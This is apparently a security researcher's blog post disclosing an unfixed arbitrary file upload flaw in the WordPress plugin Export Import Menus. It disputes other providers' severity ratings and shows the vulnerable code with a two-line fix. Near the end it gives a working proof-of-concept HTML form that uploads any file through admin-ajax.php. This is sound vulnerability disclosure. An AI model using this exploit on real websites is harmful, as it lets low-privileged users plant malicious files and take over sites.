18 Sep 2023

Hacker Likely Targeting Unfixed Vulnerability in WordPress Plugin Mislabeled as Much Less Serious Vulnerability by Patchstack and Wordfence

Over the weekend, we saw one of the usual hackers probing for usage of WordPress plugins, probing for usage a plugin named Export Import Menus. That plugin was closed on the WordPress Plugin Directory on September 12, with no explanation for the closure. Before it was closed, WordPress listed it as having 10,000+ active installs. Upon seeing that, what we needed to figure out is what a hacker might be interested in exploiting in that and is that an already known issue. These days, hackers often target vulnerabilities being disclosed by other plugin vulnerability data providers. There was a recently disclosed vulnerability in the plugin, but one that wouldn’t be of much interest to hackers. With further checking, we found the vulnerability is actually much more serious than was claimed by other providers and would likely be a target for hackers.

If the team running the WordPress Plugin Directory had known about the severity of the vulnerability, they could and should have pushed out a fix for the vulnerability before a hacker started targeting the plugin. They also could have forced out an update to address it. Fixing it enough to prevent exploitation would have been very easy. It only takes two lines, which we show below. With the inaccurate information provided by other providers, though they wouldn’t know that this was a serious issue.

The plugin was last updated in May 2022, so it appears the plugin is no longer supported by the developer. And therefore a fix doesn’t seem likely to be coming. Deactivating the plugin is enough to stop the vulnerability from being exploited. Any websites using the plugin that also allow untrusted individuals access to WordPress accounts who haven’t deactivated the plugin or patched the vulnerability by now should do that.

Based on past testing, most WordPress security plugins wouldn’t have the capability to prevent exploitation of the vulnerability.

Patchstack’s Vague Information

On September 4, Patchstack vaguely claimed there was an authenticated arbitrary file upload vulnerability in the latest version of the plugin. They claimed that the attacker would have to have at least the Contributor role in WordPress. That would make the vulnerability of limited concern, as it is highly unlikely that a hacker could easily get access to WordPress accounts with that role. They didn’t provide even basic information needed to double check their claims, which is a big problem considering they have very serious quality control issues.

Patchstack were able to issue a CVE ID for this despite that lack of information, despite that being in violation of CVE’s rules, as they are supposed to provide “sufficient information for the vulnerability to be re-created by a CVE Program stakeholder.” That is an issue we have tried to address with CVE in the past, but they have been unresponsive.

When we started figuring out what was going on there, we found that there might be insecure file upload capability in the plugin, but it looked like it was accessible to anyone logged in to WordPress who had access to the admin area. Access to the admin area normally is available to anyone logged in. If anyone logged in could access it, that would be something that you would expect exploit attempts against. It also looked like the code might limit what types of file can be uploaded, which would in turn significantly reduce the chances of exploit attempts.

Wordfence Repeats the Claim

Looking around more, we found that Wordfence repeating the claim that this vulnerability existed, including claiming that it was limited to Contributors and above. They were citing the same code we were looking at, so something seemed off.

Testing Things Out

When you are checking on vulnerabilities, you really need to test things out, as you might be missing something. So we did just that. First, we tested out accessing the relevant functionality as it was intended to be accessed. That is only accessible to Administrators, so that wouldn’t explain the claim of access down to those with the Contributor role. To be more specific, the page that functionality is accessed from is limited to users with the manage_options capability:

109
add_theme_page( 'Export/Import Menus', 'Export/Import Menus', 'manage_options', 'dsp_export_import_menus',  array($this,'createListMenus'));

We also found that the code we were looking at didn’t actually restrict what types of files could be uploaded. For a reason, we get in to more detail in a moment.

Once we did that, it looked like anyone logged in could access this. We confirmed that with the proof of concept included below, but first let’s look at the code at issue.

The Vulnerable Code

The plugin has functionality to import menu files. That is handled through an AJAX request registered to be accessible to anyone logged in to WordPress:

124
add_action( 'wp_ajax_dspImportMenus',array($this,'dspMenusController'));

So somewhere there would need to be a further restriction to limit this to only Contributors and above.

The function dspMenusController() that gets called and the subsequent ones until the last one called as part of this, contains no access restrictions. The final function called uploadMenusJson() in the file /models/DspExportImportModel.php only includes one security check, a nonce check which prevents cross-site request forgery (CSRF):

86
87
88
public function uploadMenusJson($requested_vars = null)
{
  $nonce = check_ajax_referer( 'menus_nonce_verify','security', false );

A valid nonce is included on admin pages of the website, so anyone logged in can access it.

The uploading of the file is handled using wp_handle_upload(), which normally would restrict what types of files are allowed to be uploaded. But that isn’t the case here. The reason for that turns out to be the line right above:

136
137
	 add_filter('map_meta_cap', 'menusUnfilteredUpload', 0, 2);
$movefile = wp_handle_upload( $requested_vars['menusfile'], $upload_overrides );

The line above it causes the function menusUnfilteredUpload() to be added as a filter to map_meta_cap. That function gives the requestor the unfiltered_upload capability during the request:

368
369
370
371
372
373
374
375
376
377
378
/*
 *Assign JSON uplaod capability to the loged in user 
*/
public function menusUnfilteredUpload( $caps )
{
  if ($cap == 'unfiltered_upload') {
	 $caps = array();
	 $caps[] = $cap;
  }
   return $caps;
}

That capability allows uploading any type of file instead of only limited set normally by WordPress.

Quick Fix

There are multiple issues causing the vulnerability, but there is a really easy, quick fix to address this. In the first function called during the upload process, dspMenusController(), adding these two lines at the beginning would prevent exploitation:

if ( ! current_user_can( 'manage_options' ) )
	exit();

Those two lines would limit access to the functionality to only the intended users, Administrators, who can already upload arbitrary files by default.

Proof of Concept

The following proof of concept will upload the file sent with the request to the directory /wp-content/uploads/menus-exportimport/.

Replace “[path to WordPress]” with the location of WordPress and “[nonce]” with the value of nonce_verify on admin pages of the website.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin-ajax.php" enctype="multipart/form-data" method="POST">
<input type="hidden" name="action" value="dspImportMenus" />
<input type="file" name="menusfile" />
<input type="hidden" name="security" value="[nonce]" />
<input type="hidden" name="dspmenustask" value="dspImportMenus" />
<input type="hidden" name="dspmenuname" value="proofofconcept" />
<input type="submit" value="Submit" />
</form>
</body>

Plugin Security Scorecard Grade for Patchstack

Checked on March 5, 2025
D

See issues causing the plugin to get less than A+ grade

Leave a Reply

Your email address will not be published.